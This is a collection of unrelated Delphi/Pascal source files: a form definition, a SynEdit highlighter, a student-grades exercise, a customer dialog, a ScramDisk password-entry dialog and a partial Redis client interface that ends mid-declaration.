object FormImportPicturesSettings: TFormImportPicturesSettings
Left = 0
Top = 0
BorderStyle = bsSingle
Caption = 'FormImportPicturesSettings'
ClientHeight = 183
ClientWidth = 429
Color = clBtnFace
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'Tahoma'
Font.Style = []
OldCreateOrder = False
Position = poOwnerFormCenter
OnCreate = FormCreate
DesignSize = (
429
183)
PixelsPerInch = 96
TextHeight = 13
object LbDirectoryFormat: TLabel
Left = 8
Top = 8
Width = 83
Height = 13
Caption = 'Directory format:'
end
object CbFormatCombo: TComboBox
Left = 8
Top = 27
Width = 384
Height = 21
Style = csDropDownList
Anchors = [akLeft, akTop, akRight]
ItemIndex = 0
TabOrder = 0
Text = 'YYYY\MMM\YY.MM.DD = DDD, D MMMM, YYYY (LABEL)'
Items.Strings = (
'YYYY\MMM\YY.MM.DD = DDD, D MMMM, YYYY (LABEL)'
'YYYY\YY.MM.DD = DDD, D MMMM, YYYY (LABEL)'
'YYYY\YY.MM.DD (LABEL)'
'YYYY.MM.DD (LABEL)')
end
object CbOnlyImages: TCheckBox
Left = 8
Top = 58
Width = 161
Height = 17
Caption = 'Import only supported images'
TabOrder = 1
end
object CbDeleteAfterImport: TCheckBox
Left = 8
Top = 81
Width = 415
Height = 17
Anchors = [akLeft, akTop, akRight]
Caption = 'Delete files after import'
TabOrder = 2
end
object CbAddToCollection: TCheckBox
Left = 8
Top = 104
Width = 415
Height = 17
Anchors = [akLeft, akTop, akRight]
Caption = 'Add files to collection after copying files'
TabOrder = 3
end
object BtnOk: TButton
Left = 346
Top = 150
Width = 75
Height = 25
Anchors = [akRight, akBottom]
Caption = 'BtnOk'
TabOrder = 4
OnClick = BtnOkClick
end
object BtnCancel: TButton
Left = 265
Top = 150
Width = 75
Height = 25
Anchors = [akRight, akBottom]
Caption = 'BtnCancel'
TabOrder = 5
OnClick = BtnCancelClick
end
object WlFilter: TWebLink
Left = 175
Top = 61
Width = 53
Height = 13
Cursor = crHandPoint
Text = '(filter: *.*)'
Visible = False
ImageIndex = 0
IconWidth = 0
IconHeight = 0
UseEnterColor = False
EnterColor = clBlack
EnterBould = False
TopIconIncrement = 0
UseSpecIconSize = True
HightliteImage = False
StretchImage = True
CanClick = True
end
object BtnChangePatterns: TButton
Left = 398
Top = 27
Width = 23
Height = 23
Anchors = [akTop, akRight]
Caption = '...'
TabOrder = 7
OnClick = BtnChangePatternsClick
end
object CbOpenDestination: TCheckBox
Left = 8
Top = 127
Width = 415
Height = 17
Anchors = [akLeft, akTop, akRight]
Caption = 'Open destination directory after import'
TabOrder = 8
end
end
|
{-------------------------------------------------------------------------------
The contents of this file are subject to the Mozilla Public License
Version 1.1 (the "License"); you may not use this file except in compliance
with the License. You may obtain a copy of the License at
http://www.mozilla.org/MPL/
Software distributed under the License is distributed on an "AS IS" basis,
WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License for
the specific language governing rights and limitations under the License.
The Original Code is: SynHighlighterGeneral.pas, released 2000-04-07.
The Original Code is based on the mwGeneralSyn.pas file from the
mwEdit component suite by Martin Waldenburg and other developers, the Initial
Author of this file is Martin Waldenburg.
Portions written by Martin Waldenburg are copyright 1999 Martin Waldenburg.
Unicode translation by Maël Hörz.
All Rights Reserved.
Contributors to the SynEdit and mwEdit projects are listed in the
Contributors.txt file.
Alternatively, the contents of this file may be used under the terms of the
GNU General Public License Version 2 or later (the "GPL"), in which case
the provisions of the GPL are applicable instead of those above.
If you wish to allow use of your version of this file only under the terms
of the GPL and not to allow others to use your version of this file
under the MPL, indicate your decision by deleting the provisions above and
replace them with the notice and other provisions required by the GPL.
If you do not delete the provisions above, a recipient may use your version
of this file under either the MPL or the GPL.
$Id: SynHighlighterGeneral.pas,v 1.15.2.8 2008/09/14 16:25:00 maelh Exp $
You may retrieve the latest version of this file at the SynEdit home page,
located at http://SynEdit.SourceForge.net
Known Issues:
-------------------------------------------------------------------------------}
{
@abstract(Provides a customizable highlighter for SynEdit)
@author(Martin Waldenburg, converted to SynEdit by Michael Hieke)
@created(1999)
@lastmod(2000-06-23)
The SynHighlighterGeneral unit provides a customizable highlighter for SynEdit.
}
{$IFNDEF QSYNHIGHLIGHTERGENERAL}
unit SynHighlighterText;
{$ENDIF}
{$I SynEdit.inc}
interface
uses
{$IFDEF SYN_CLX}
QGraphics,
QSynEditTypes,
QSynEditHighlighter,
QSynUnicode,
{$ELSE}
Windows,
Graphics,
SynEditTypes,
SynEditHighlighter,
SynUnicode,
{$ENDIF}
SysUtils,
Classes;
type
TtkTokenKind = (tkIdentifier, tkNull, tkSpace, tkUnknown);
TRangeState = (rsANil, rsUnKnown);
type
TSynTextSyn = class(TSynCustomHighlighter)
private
fRange: TRangeState;
fTokenID: TtkTokenKind;
procedure SpaceProc;
procedure UnknownProc;
function GetIdentifierChars: UnicodeString;
procedure SetIdentifierChars(const Value: UnicodeString);
protected
fIdentifierAttri: TSynHighlighterAttributes;
fIdentChars: UnicodeString;
fSpaceAttri: TSynHighlighterAttributes;
procedure IdentProc;
procedure NullProc;
public
class function GetLanguageName: string; override;
class function GetFriendlyLanguageName: UnicodeString; override;
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
function GetDefaultAttribute(Index: integer): TSynHighlighterAttributes; override;
function GetEol: Boolean; override;
function GetRange: Pointer; override;
function GetTokenID: TtkTokenKind;
function GetTokenAttribute: TSynHighlighterAttributes; override;
function GetTokenKind: integer; override;
function IsIdentChar(AChar: WideChar): Boolean; override;
function IsWordBreakChar(AChar: WideChar): Boolean; override;
procedure Next; override;
procedure ResetRange; override;
procedure SetRange(Value: Pointer); override;
{$IFNDEF SYN_CLX}
function SaveToRegistry(RootKey: HKEY; Key: string): boolean; override;
function LoadFromRegistry(RootKey: HKEY; Key: string): boolean; override;
{$ENDIF}
published
property IdentifierAttri: TSynHighlighterAttributes read fIdentifierAttri write fIdentifierAttri;
property IdentifierChars: UnicodeString read GetIdentifierChars write SetIdentifierChars;
property SpaceAttri: TSynHighlighterAttributes read fSpaceAttri write fSpaceAttri;
end;
procedure Register;
implementation
uses
{$IFDEF SYN_CLX}
QSynEditStrConst;
{$ELSE}
SynEditStrConst;
{$ENDIF}
procedure Register;
begin
RegisterComponents('ConTEXT COmponents', [TSynTextSyn]);
end;
function TSynTextSyn.IsIdentChar(AChar: WideChar): Boolean;
var
i: Integer;
begin
Result := False;
for i := 1 to Length(fIdentChars) do
if AChar = fIdentChars[i] then
begin
Result := True;
Exit;
end;
end;
function TSynTextSyn.IsWordBreakChar(AChar: WideChar): Boolean;
begin
Result := inherited IsWordBreakChar(AChar) and not IsIdentChar(AChar);
end;
constructor TSynTextSyn.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
fIdentifierAttri := TSynHighlighterAttributes.Create(SYNS_AttrIdentifier, SYNS_FriendlyAttrIdentifier);
AddAttribute(fIdentifierAttri);
fSpaceAttri := TSynHighlighterAttributes.Create(SYNS_AttrSpace, SYNS_FriendlyAttrSpace);
AddAttribute(fSpaceAttri);
SetAttributesOnChange(DefHighlightChange);
fIdentChars := '_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz';
fRange := rsUnknown;
end; { Create }
destructor TSynTextSyn.Destroy;
begin
inherited Destroy;
end; { Destroy }
procedure TSynTextSyn.IdentProc;
begin
while IsIdentChar(fLine[Run]) do
inc(Run);
fTokenId := tkIdentifier;
end;
procedure TSynTextSyn.NullProc;
begin
fTokenID := tkNull;
inc(Run);
end;
procedure TSynTextSyn.SpaceProc;
begin
inc(Run);
fTokenID := tkSpace;
while (FLine[Run] <= #32) and not IsLineEnd(Run) do
inc(Run);
end;
procedure TSynTextSyn.UnknownProc;
begin
inc(Run);
fTokenID := tkUnknown;
end;
procedure TSynTextSyn.Next;
begin
fTokenPos := Run;
case fLine[Run] of
'A'..'Z', 'a'..'z', '_', '0'..'9': IdentProc;
#0: NullProc;
#1..#9, #11, #12, #14..#32: SpaceProc;
else
UnknownProc;
end;
inherited;
end;
function TSynTextSyn.GetDefaultAttribute(Index: integer): TSynHighlighterAttributes;
begin
case Index of
SYN_ATTR_IDENTIFIER: Result := fIdentifierAttri;
SYN_ATTR_WHITESPACE: Result := fSpaceAttri;
else
Result := nil;
end;
end;
function TSynTextSyn.GetEol: Boolean;
begin
Result := Run = fLineLen + 1;
end;
function TSynTextSyn.GetRange: Pointer;
begin
Result := Pointer(fRange);
end;
function TSynTextSyn.GetTokenID: TtkTokenKind;
begin
Result := fTokenId;
end;
function TSynTextSyn.GetTokenAttribute: TSynHighlighterAttributes;
begin
case fTokenID of
tkIdentifier: Result := fIdentifierAttri;
tkSpace: Result := fSpaceAttri;
tkUnknown: Result := fIdentifierAttri;
else
Result := nil;
end;
end;
function TSynTextSyn.GetTokenKind: integer;
begin
Result := Ord(fTokenId);
end;
procedure TSynTextSyn.ResetRange;
begin
fRange := rsUnknown;
end;
procedure TSynTextSyn.SetRange(Value: Pointer);
begin
fRange := TRangeState(Value);
end;
class function TSynTextSyn.GetLanguageName: string;
begin
Result := SYNS_LangGeneral;
end;
{$IFNDEF SYN_CLX}
function TSynTextSyn.LoadFromRegistry(RootKey: HKEY; Key: string): boolean;
var
r: TBetterRegistry;
begin
r := TBetterRegistry.Create;
try
r.RootKey := RootKey;
if r.OpenKeyReadOnly(Key) then
begin
Result := inherited LoadFromRegistry(RootKey, Key);
end
else
Result := false;
finally r.Free;
end;
end;
function TSynTextSyn.SaveToRegistry(RootKey: HKEY; Key: string): boolean;
var
r: TBetterRegistry;
begin
r := TBetterRegistry.Create;
try
r.RootKey := RootKey;
if r.OpenKey(Key, true) then
begin
Result := true;
Result := inherited SaveToRegistry(RootKey, Key);
end
else
Result := false;
finally r.Free;
end;
end;
{$ENDIF}
function TSynTextSyn.GetIdentifierChars: UnicodeString;
begin
Result := fIdentChars;
end;
procedure TSynTextSyn.SetIdentifierChars(const Value: UnicodeString);
begin
fIdentChars := Value;
end;
class function TSynTextSyn.GetFriendlyLanguageName: UnicodeString;
begin
Result := SYNS_FriendlyLangGeneral;
end;
initialization
{$IFNDEF SYN_CPPB_1}
RegisterPlaceableHighlighter(TSynTextSyn);
{$ENDIF}
end.
|
// WRITE A PASCAL PROGRAM TO READ IN THE NAME AND GRADE OF 10 STUDENTS INTO ARRAYS.
// THE PROGRAM SHOULD THEN DISPLAY THE NAME AND GRADE OF EACH STUDENT AS WELLAS THE AVERAGE OF GRADE OF EACH CLASS.
// IT SHOULD ALSO DETERMINE THE STUDENT THAT OBTAINED THE HIGHEST GRADE AND OUTPUT NAME, GRADE AND A SUITABLE MESSAGE.
Program StudentGrade_array;
var
StudentGrade : array[1..10] of integer;
StudentName : array[1..10] of string;
sum, count, highest : integer;
avg : real;
highName : string;
begin
sum:=0;
FOR count := 1 to 10 DO
begin
Writeln (' Please enter name of student ');
Readln (StudentName[count]);
Writeln ('Please enter grade of ',StudentName[count]);
Readln (StudentGrade[count]);
end;
highest:=-1;
FOR count:= 1 TO 10 DO
begin
Writeln ('Grade for student ', StudentName[count] ,' is ' , StudentGrade[count]);
sum:= sum + StudentGrade[count];
IF StudentGrade[count]>highest THEN
begin
highest:= StudentGrade[count];
highName:= StudentName[count];
end;
end;
Writeln;
avg:= sum DIV 10;
Writeln('The average for the class is ' , avg :5:2);
Writeln;
Writeln('The student with the highest grade ', highName ,' with grade of ',highest,' % ');
Readln;
End.
|
unit ufrmDialogDataCostumer;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ufrmMasterDialog, ExtCtrls, StdCtrls, System.Actions, Vcl.ActnList,
ufraFooterDialog3Button;
type
TFormMode = (fmAdd, fmEdit);
TfrmDialogDataCostumer = class(TfrmMasterDialog)
lbl1: TLabel;
lbl2: TLabel;
lbl3: TLabel;
lbl4: TLabel;
edtName: TEdit;
edtContact: TEdit;
edtAddress: TEdit;
edtPhone: TEdit;
Label1: TLabel;
edtCode: TEdit;
procedure actDeleteExecute(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure FormDestroy(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure footerDialogMasterbtnSaveClick(Sender: TObject);
procedure edtCodeKeyPress(Sender: TObject; var Key: Char);
private
FFormMode: TFormMode;
FIsProcessSuccessfull: boolean;
FDataCustomerId: Integer;
procedure SetFormMode(const Value: TFormMode);
procedure SetIsProcessSuccessfull(const Value: boolean);
procedure SetDataCustomerId(const Value: Integer);
procedure showDataEdit(Id: Integer);
procedure prepareAddData;
function SaveData: boolean;
function UpdateData: boolean;
public
{ Public declarations }
published
property FormMode: TFormMode read FFormMode write SetFormMode;
property IsProcessSuccessfull: boolean read FIsProcessSuccessfull write SetIsProcessSuccessfull;
property DataCustomerId: Integer read FDataCustomerId write SetDataCustomerId;
end;
var
frmDialogDataCostumer: TfrmDialogDataCostumer;
implementation
uses DB, uTSCommonDlg;
{$R *.dfm}
procedure TfrmDialogDataCostumer.actDeleteExecute(Sender: TObject);
begin
inherited;
{
if strgGrid.Cells[5,strgGrid.Row]='' then Exit;
if (CommonDlg.Confirm('Are you sure you wish to delete Data Customer (Customer Name: '+ strgGrid.Cells[1,strgGrid.Row] +')?') = mrNo) then
Exit;
SetLength(arr,1);
arr[0].tipe:= ptInteger;
arr[0].data:= strgGrid.Cells[5,strgGrid.Row];
if not assigned(DataCustomer) then
DataCustomer := TDataCustomer.Create;
if DataCustomer.DeleteDataCustomer(arr) then
begin
actRefreshDataCostumerExecute(Self);
CommonDlg.ShowConfirmSuccessfull(atDelete);
end;
strgGrid.SetFocus;
}
end;
procedure TfrmDialogDataCostumer.SetFormMode(const Value: TFormMode);
begin
FFormMode := Value;
end;
procedure TfrmDialogDataCostumer.SetIsProcessSuccessfull(
const Value: boolean);
begin
FIsProcessSuccessfull := Value;
end;
procedure TfrmDialogDataCostumer.SetDataCustomerId(const Value: Integer);
begin
FDataCustomerId:=Value;
end;
procedure TfrmDialogDataCostumer.FormClose(Sender: TObject;
var Action: TCloseAction);
begin
inherited;
Action := caFree;
end;
procedure TfrmDialogDataCostumer.FormDestroy(Sender: TObject);
begin
inherited;
frmDialogDataCostumer := nil;
end;
procedure TfrmDialogDataCostumer.showDataEdit(Id: Integer);
var data: TDataSet;
// arr: TArr;
begin
{SetLength(arr,1);
arr[0].tipe:= ptInteger;
arr[0].data:= Id;
if not assigned(DataCustomer) then
DataCustomer := TDataCustomer.Create;
data:= DataCustomer.GetListCustomer(arr);
edtCode.Text:= data.fieldbyname('CUSTV_CODE').AsString;
edtName.Text:= data.fieldbyname('CUSTV_NAME').AsString;
edtAddress.Text:= data.fieldbyname('CUSTV_ADDRESS').AsString;
edtPhone.Text:= data.fieldbyname('CUSTV_TELP').AsString;
edtContact.Text:= data.fieldbyname('CUSTV_CONTACT_PERSON').AsString;
}
end;
procedure TfrmDialogDataCostumer.prepareAddData;
begin
edtCode.Clear;
edtName.Clear;
edtContact.Clear;
edtAddress.Clear;
edtPhone.Clear;
end;
procedure TfrmDialogDataCostumer.FormShow(Sender: TObject);
begin
inherited;
if (FFormMode = fmEdit) then
showDataEdit(FDataCustomerId)
else
prepareAddData();
edtCode.SetFocus;
end;
function TfrmDialogDataCostumer.SaveData: boolean;
//var arrParam: TArr;
begin
{if not assigned(DataCustomer) then
DataCustomer := TDataCustomer.Create;
SetLength(arrParam,6);
arrParam[0].tipe := ptString;
arrParam[0].data := edtCode.Text;
arrParam[1].tipe := ptString;
arrParam[1].data := edtName.Text;
arrParam[2].tipe := ptString;
arrParam[2].data := edtAddress.Text;
arrParam[3].tipe := ptString;
arrParam[3].data := edtPhone.Text;
arrParam[4].tipe := ptString;
arrParam[4].data := edtContact.Text;
arrParam[5].tipe := ptInteger;
arrParam[5].data := FLoginId;
try
Result:= DataCustomer.InputDataCustomer(arrParam);
except
Result:= False;
end;
}
end;
function TfrmDialogDataCostumer.UpdateData: boolean;
//var arrParam: TArr;
begin
{
if not assigned(DataCustomer) then
DataCustomer := TDataCustomer.Create;
SetLength(arrParam,7);
arrParam[0].tipe := ptString;
arrParam[0].data := edtCode.Text;
arrParam[1].tipe := ptString;
arrParam[1].data := edtName.Text;
arrParam[2].tipe := ptString;
arrParam[2].data := edtAddress.Text;
arrParam[3].tipe := ptString;
arrParam[3].data := edtPhone.Text;
arrParam[4].tipe := ptString;
arrParam[4].data := edtContact.Text;
arrParam[5].tipe := ptInteger;
arrParam[5].data := FLoginId;
arrParam[6].tipe := ptInteger;
arrParam[6].data := DataCustomerId;
try
Result:= DataCustomer.UpdateDataCustomer(arrParam);
except
Result:= False;
end;
}
end;
procedure TfrmDialogDataCostumer.footerDialogMasterbtnSaveClick(
Sender: TObject);
begin
inherited;
if edtCode.Text='' then
begin
CommonDlg.ShowErrorEmpty('Customer Code');
edtCode.SetFocus;
Exit;
end;
if edtName.Text='' then
begin
CommonDlg.ShowErrorEmpty('Customer Name');
edtName.SetFocus;
Exit;
end;
if (FormMode = fmAdd) then
begin
FIsProcessSuccessfull := SaveData;
if FIsProcessSuccessfull then
Close;
end
else
begin
FIsProcessSuccessfull := UpdateData;
if FIsProcessSuccessfull then
Close;
end; // end if
end;
procedure TfrmDialogDataCostumer.edtCodeKeyPress(Sender: TObject;
var Key: Char);
begin
inherited;
if Key = Chr(VK_RETURN) then
begin
if(Sender as TEdit).Name = 'edtCode' then
edtName.SetFocus
else
if(Sender as TEdit).Name = 'edtName' then
edtContact.SetFocus
else
if(Sender as TEdit).Name = 'edtContact' then
edtPhone.SetFocus
else
if(Sender as TEdit).Name = 'edtPhone' then
edtAddress.SetFocus
else
footerDialogMaster.btnSave.SetFocus;
end;
end;
end.
|
unit OTFEScramDiskPasswordEntry_U;
// Description: Password Entry Dialog
// By Sarah Dean
// Email: sdean12@sdean12.org
// WWW: http://www.SDean12.org/
//
// -----------------------------------------------------------------------------
//
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, Mask, KeyboardDialog_U;
type
TOTFEScramDiskPasswordEntry_F = class(TForm)
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
Label4: TLabel;
pbOK: TButton;
pbCancel: TButton;
mePassword1: TMaskEdit;
mePassword3: TMaskEdit;
mePassword2: TMaskEdit;
mePassword4: TMaskEdit;
pbKeydisk: TButton;
pbKeyboard1: TButton;
pbKeyboard3: TButton;
pbKeyboard4: TButton;
pbKeyboard2: TButton;
KeyboardDialog: TKeyboardDialog;
ckHidePasswords: TCheckBox;
procedure FormDestroy(Sender: TObject);
procedure pbKeydiskClick(Sender: TObject);
procedure pbKeyboard1Click(Sender: TObject);
procedure pbKeyboard2Click(Sender: TObject);
procedure pbKeyboard3Click(Sender: TObject);
procedure pbKeyboard4Click(Sender: TObject);
procedure ckHidePasswordsClick(Sender: TObject);
public
procedure ClearEnteredPasswords();
end;
implementation
{$R *.DFM}
uses Math, SDUGeneral;
const
ONE_PASSWORD_LENGTH = 40;
// Presumably this should be enough to overwrite the relevant strings in memory?
procedure TOTFEScramDiskPasswordEntry_F.ClearEnteredPasswords();
var
junkString : string;
i : integer;
begin
// Create a string 1024 chars long... (assumes that user won't try to enter
// a password more than this length; anything more than 40 is probably
// overkill anyway)
junkString := '';
randomize;
for i:=0 to 1024 do
begin
junkString := junkString + chr(random(255));
end;
// ...overwrite any passwords entered...
mePassword1.text := junkString;
mePassword2.text := junkString;
mePassword3.text := junkString;
mePassword4.text := junkString;
// ...and then reset to a zero length string, just to be tidy.
mePassword1.text := '';
mePassword2.text := '';
mePassword3.text := '';
mePassword4.text := '';
end;
procedure TOTFEScramDiskPasswordEntry_F.FormDestroy(Sender: TObject);
begin
ClearEnteredPasswords();
end;
procedure TOTFEScramDiskPasswordEntry_F.pbKeydiskClick(Sender: TObject);
var
openDialog: TOpenDialog;
fileHandle: TextFile;
aPassword: string;
begin
openDialog := TOpenDialog.Create(nil);
try
if openDialog.Execute() then
begin
AssignFile(fileHandle, openDialog.Filename);
Reset(fileHandle);
Readln(fileHandle, aPassword);
mePassword1.text := aPassword;
Readln(fileHandle, aPassword);
mePassword2.text := aPassword;
Readln(fileHandle, aPassword);
mePassword3.text := aPassword;
Readln(fileHandle, aPassword);
mePassword4.text := aPassword;
Readln(fileHandle, aPassword);
if aPassword<>'KeepDialog' then
begin
ModalResult := mrOK;
end;
end; // OpenDialog.Execute()
finally
CloseFile(fileHandle);
openDialog.Free();
end;
end;
{
// This is a binary version of the above function
procedure TPasswordEntry_F.pbKeydiskClick(Sender: TObject);
var
openDialog: TOpenDialog;
fileHandle: TFileStream;
blankingBytes: array [0..ONE_PASSWORD_LENGTH] of byte;
i: integer;
bytesRead: integer;
begin
openDialog := TOpenDialog.Create(nil);
try
if openDialog.Execute() then
begin
fileHandle := TFileStream.Create(openDialog.Filename, fmOpenRead);
bytesRead := fileHandle.Read(blankingBytes, ONE_PASSWORD_LENGTH);
mePassword1.text := '';
for i:=1 to min(ONE_PASSWORD_LENGTH, bytesRead) do
begin
mePassword1.text := mePassword1.text + char(blankingBytes[i-1]);
end;
bytesRead := fileHandle.Read(blankingBytes, ONE_PASSWORD_LENGTH);
mePassword2.text := '';
for i:=1 to min(ONE_PASSWORD_LENGTH, bytesRead) do
begin
mePassword2.text := mePassword2.text + char(blankingBytes[i-1]);
end;
bytesRead := fileHandle.Read(blankingBytes, ONE_PASSWORD_LENGTH);
mePassword3.text := '';
for i:=1 to min(ONE_PASSWORD_LENGTH, bytesRead) do
begin
mePassword3.text := mePassword3.text + char(blankingBytes[i-1]);
end;
bytesRead := fileHandle.Read(blankingBytes, ONE_PASSWORD_LENGTH);
mePassword4.text := '';
for i:=1 to min(ONE_PASSWORD_LENGTH, bytesRead) do
begin
mePassword4.text := mePassword4.text + char(blankingBytes[i-1]);
end;
ModalResult := mrOK;
end; // OpenDialog.Execute()
finally
fileHandle.free;
openDialog.Free();
end;
end;
}
procedure TOTFEScramDiskPasswordEntry_F.pbKeyboard1Click(Sender: TObject);
begin
if KeyboardDialog.execute() then
begin
mePassword1.text := KeyboardDialog.password;
end;
KeyboardDialog.BlankPassword();
end;
procedure TOTFEScramDiskPasswordEntry_F.pbKeyboard2Click(Sender: TObject);
begin
if KeyboardDialog.execute() then
begin
mePassword2.text := KeyboardDialog.password;
end;
KeyboardDialog.BlankPassword();
end;
procedure TOTFEScramDiskPasswordEntry_F.pbKeyboard3Click(Sender: TObject);
begin
if KeyboardDialog.execute() then
begin
mePassword3.text := KeyboardDialog.password;
end;
KeyboardDialog.BlankPassword();
end;
procedure TOTFEScramDiskPasswordEntry_F.pbKeyboard4Click(Sender: TObject);
begin
if KeyboardDialog.execute() then
begin
mePassword4.text := KeyboardDialog.password;
end;
KeyboardDialog.BlankPassword();
end;
procedure TOTFEScramDiskPasswordEntry_F.ckHidePasswordsClick(Sender: TObject);
var
passwordChar: char;
begin
passwordChar := #0;
if ckHidePasswords.checked then
begin
passwordChar := '*';
end;
mePassword1.passwordchar := passwordChar;
mePassword2.passwordchar := passwordChar;
mePassword3.passwordchar := passwordChar;
mePassword4.passwordchar := passwordChar;
end;
END.
|
unit Redis.Client;
interface
uses
System.Generics.Collections, System.SysUtils, Redis.Command, Redis.Commons;
type
TRedisClient = class(TRedisClientBase, IRedisClient)
private
FTCPLibInstance: IRedisNetLibAdapter;
FHostName: string;
FPort: Word;
FCommandTimeout: Int32;
FRedisCmdParts: IRedisCommand;
FNotExists: boolean;
FNextCMD: IRedisCommand;
FValidResponse: boolean;
FIsValidResponse: boolean;
FInTransaction: boolean;
FIsTimeout: boolean;
FUseSSL: Boolean;
function ParseSimpleStringResponse(var AValidResponse: boolean): string;
function ParseSimpleStringResponseAsByte(var AValidResponse
: boolean): TBytes;
function ParseIntegerResponse(var AValidResponse
: boolean): Int64;
function ParseArrayResponse(var AValidResponse: boolean): TArray<string>;
function ParseCursorArrayResponse(var AValidResponse: boolean; var ANextCursor: Integer): TArray<string>;
procedure CheckResponseType(Expected, Actual: string);
protected
procedure CheckResponseError(const aResponse: string);
function GetCmdList(const Cmd: string): IRedisCommand;
procedure NextToken(out Msg: string);
function NextBytes(const ACount: UInt32): TBytes;
/// //
function InternalBlockingLeftOrRightPOP(NextCMD: IRedisCommand;
AKeys: array of string; ATimeout: Int32; var AIsValidResponse: boolean)
: TArray<string>;
constructor Create(TCPLibInstance: IRedisNetLibAdapter;
const HostName: string; const Port: Word; const AUseSSL: Boolean = False); overload;
public
function Tokenize(const ARedisCommand: string): TArray<string>;
constructor Create(const HostName: string = '127.0.0.1'; const Port: Word = 6379;
const AUseSSL: Boolean = False; const Lib: string = REDIS_NETLIB_INDY); overload;
destructor Destroy; override;
procedure Connect;
/// SET key value [EX seconds] [PX milliseconds] [NX|XX]
function &SET(const AKey, AValue: string): boolean; overload;
function &SET(const AKey, AValue: TBytes): boolean; overload;
function &SET(const AKey: string; AValue: TBytes): boolean; overload;
function &SET(const AKey: TBytes; AValue: TBytes; ASecsExpire: UInt64)
: boolean; overload;
function &SET(const AKey: string; AValue: TBytes; ASecsExpire: UInt64)
: boolean; overload;
function &SET(const AKey: string; AValue: string; ASecsExpire: UInt64)
: boolean; overload;
function SETNX(const AKey, AValue: string): boolean; overload;
function SETNX(const AKey, AValue: TBytes): boolean; overload;
function GET(const AKey: string; out AValue: string): boolean; overload;
function GET(const AKey: TBytes; out AValue: TBytes): boolean; overload;
function GET(const AKey: string; out AValue: TBytes): boolean; overload;
function TTL(const AKey: string): Integer;
function DEL(const AKeys: array of string): Integer;
function EXISTS(const AKey: string): boolean;
function INCR(const AKey: string): NativeInt;
function DECR(const AKey: string): NativeInt;
function MSET(const AKeysValues: array of string): boolean;
function KEYS(const AKeyPattern: string): TArray<string>;
function EXPIRE(const AKey: string; AExpireInSecond: UInt32): boolean;
// string functions
function APPEND(const AKey, AValue: TBytes): UInt64; overload;
function APPEND(const AKey, AValue: string): UInt64; overload;
function STRLEN(const AKey: string): UInt64;
function GETRANGE(const AKey: string; const AStart, AEnd: NativeInt): string;
function SETRANGE(const AKey: string; const AOffset: NativeInt; const AValue: string)
: NativeInt;
// hash
function HSET(const AKey, aField: string; AValue: string): Integer;
overload;
function HSET(const AKey, aField: string; AValue: TBytes): Integer;
overload;
procedure HMSET(const AKey: string; aFields: TArray<string>; AValues: TArray<string>);
function HMGET(const AKey: string; aFields: TArray<string>): TArray<string>;
function HGET(const AKey, aField: string; out AValue: TBytes)
: boolean; overload;
function HGET(const AKey, aField: string; out AValue: string)
: boolean; overload;
function HDEL(const AKey: string; aFields: TArray<string>): Integer;
// lists
function RPUSH(const AListKey: string; AValues: array of string): Integer;
function RPUSHX(const AListKey: string; AValues: array of string): Integer;
function RPOP(const AListKey: string; var Value: string): boolean;
function LPUSH(const AListKey: string; AValues: array of string): Integer;
function LPUSHX(const AListKey: string; AValues: array of string): Integer;
function LPOP(const AListKey: string; out Value: string): boolean;
function LRANGE(const AListKey: string; IndexStart, IndexStop: Integer)
: TArray<string>;
function LLEN(const AListKey: string): Integer;
procedure LTRIM(const AListKey: string; const AIndexStart, AIndexStop: Integer);
function RPOPLPUSH(const ARightListKey, ALeftListKey: string;
var APoppedAndPushedElement: string): boolean; overload;
function BRPOPLPUSH(const ARightListKey, ALeftListKey: string;
var APoppedAndPushedElement: string; ATimeout: Int32): boolean; overload;
function BLPOP(const AKeys: array of string; const ATimeout: Int32;
out Value: TArray<string>): boolean;
function BRPOP(const AKeys: array of string; const ATimeout: Int32;
out Value: TArray<string>): boolean;
function LREM(const AListKey: string; const ACount: Integer;
const AValue: string): Integer;
// pubsub
procedure SUBSCRIBE(const AChannels: array of string;
ACallback: TProc<string, string>;
AContinueOnTimeoutCallback: TRedisTimeoutCallback = nil);
function PUBLISH(const AChannel: string; AMessage: string): Integer;
// sets
function SADD(const AKey, AValue: TBytes): Integer; overload;
function SADD(const AKey, AValue: string): Integer; overload;
function SREM(const AKey, AValue: TBytes): Integer; overload;
function SREM(const AKey, AValue: string): Integer; overload;
function SMEMBERS(const AKey: string): TArray<string>;
function SCARD(const AKey: string): Integer;
// ordered sets
function ZADD(const AKey: string; const AScore: Int64; const AMember: string): Integer;
function ZREM(const AKey: string; const AMember: string): Integer;
function ZCARD(const AKey: string): Integer;
function ZCOUNT(const AKey: string; const AMin, AMax: Int64): Integer;
function ZRANK(const AKey: string; const AMember: string; out ARank: Int64): boolean;
function ZRANGE(const AKey: string; const AStart, AStop: Int64): TArray<string>;
function ZRANGEWithScore(const AKey: string; const AStart, AStop: Int64): TArray<string>;
function ZINCRBY(const AKey: string; const AIncrement: Int64; const AMember: string)
: string;
// geo REDIS 3.2
// function GEOADD(const Key: string; const Latitude, Longitude: Extended; Member: string): Integer;
// lua scripts
function EVAL(const AScript: string; AKeys: array of string; AValues: array of string): Integer;
// system
procedure FLUSHDB;
procedure SELECT(const ADBIndex: Integer);
procedure AUTH(const aPassword: string);
// non system
function InTransaction: boolean;
// transations
function MULTI(ARedisTansactionProc: TRedisTransactionProc): TArray<string>; overload;
procedure MULTI; overload;
function EXEC: TArray<string>;
procedure WATCH(const AKeys: array of string);
procedure DISCARD;
// scan
function SCAN(const ACursor: Integer; const AMatch: string; const ACount: Integer;
out ANextCursor: Integer): TArray<string>;
// raw execute
function ExecuteAndGetArray(const RedisCommand: IRedisCommand)
: TArray<string>;
function ExecuteWithIntegerResult(const RedisCommand: string)
: TArray<string>; overload;
function ExecuteWithIntegerResult(const RedisCommand: IRedisCommand)
: Int64; overload;
function ExecuteWithStringResult(const RedisCommand: IRedisCommand): string;
procedure Disconnect;
procedure SetCommandTimeout(const Timeout: Int32);
// client
procedure ClientSetName(const ClientName: string);
